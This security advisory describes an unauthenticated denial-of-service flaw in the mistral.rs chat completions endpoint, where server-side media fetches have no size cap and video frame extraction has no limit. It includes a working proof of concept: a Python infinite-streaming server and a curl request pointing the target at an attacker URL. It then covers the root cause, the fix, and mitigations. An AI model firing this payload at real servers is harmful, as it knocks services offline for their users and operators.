mistral.rs: Unbounded Remote Media Fetch and Video Frame Expansion DoS
The mistral.rs chat completions endpoint fetches any attacker-supplied image, audio, or video URL into server memory with no size limit, and extracts every frame of a video to disk, letting an…

The problem
The POST /v1/chat/completions endpoint in mistralrs-server-core accepts media URLs and fetches them server-side using reqwest with no byte cap, no Content-Length check, and no per-fetch timeout. An infinite-streaming HTTP server causes the process to accumulate memory until it is OOM-killed.
For video inputs, when num_frames is None the server invokes FFmpeg with no -frames:v limit, extracting every frame to disk. A 60 fps 1080p 180-second video produces roughly 10,800 PNG files. No authentication is required on the route by default, so any network-reachable client can trigger this.
Proof of concept
A working proof-of-concept for this issue in mistralrs-server-core, with the exact payload below.
# Step 1: run an infinite-streaming HTTP server on the attacker machine
python3 - <<'EOF'
from http.server import BaseHTTPRequestHandler, HTTPServer
import time
class H(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "image/png")
self.end_headers()
chunk = b"\x89PNG\r\n\x1a\n" + b"\x00" * (1024 * 1024 - 8)
while True:
self.wfile.write(chunk)
self.wfile.flush()
time.sleep(0.01)
def log_message(self, *_): pass
HTTPServer(("0.0.0.0", 9002), H).serve_forever()
EOF
# Step 2: send a single unauthenticated request to the mistral.rs server
curl -sS http://TARGET:8000/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{
"model": "default",
"messages": [{
"role": "user",
"content": [
{"type": "image_url", "image_url": {"url": "http://ATTACKER:9002/blob"}},
{"type": "text", "text": "describe this image"}
]
}]
}'
# For disk/CPU exhaustion use video_url with a long high-framerate mp4:
# {"type": "video_url", "video_url": {"url": "http://ATTACKER:9001/many_frames.mp4"}}The root cause is CWE-400: Uncontrolled Resource Consumption. In util.rs:59-62, reqwest::get(url).bytes().await?.to_vec() buffers the entire HTTP response body with no limit before returning it. The same pattern appears in video.rs:65-69 for video downloads. For video frame extraction (video.rs:225-248), when num_frames is None no -frames:v argument is passed to FFmpeg, so every frame is extracted.
The fix in v0.8.18 adds a maximum byte limit to the reqwest streaming fetch (replacing .bytes() with a bounded streaming read) and passes an explicit -frames:v N argument to FFmpeg when processing video, so unbounded expansion is no longer possible. The DefaultBodyLimit(50 MB) middleware only guards the incoming JSON body, not the subsequent server-side media fetches, which is why it offered no protection.
The fix
Upgrade mistralrs-server-core to v0.8.18 or later. The patch adds a byte cap on all server-side media fetches and enforces a frame limit on FFmpeg invocations. If you cannot upgrade immediately, block the /v1/chat/completions endpoint at the network level for untrusted callers, or front the server with an authenticating reverse proxy.
Related research
- highCVE-2026-53530CVE-2026-53530: ratex-parser Process Abort via UTF-8 Multibyte Delimiter in \verb
- high · 7.8CVE-2026-75911CVE-2026-75911: deepseek-tui (CodeWhale) Project Config allow_shell Override Enables Arbitrary Shell Execution
- high · 7.5CVE-2026-75859CVE-2026-75859: deepseek-tui (CodeWhale) Arbitrary File Read via Project Config instructions Override
- high · 9.3CVE-2026-75913CVE-2026-75913: CodeWhale Argument Injection in git_show Allows Arbitrary File Write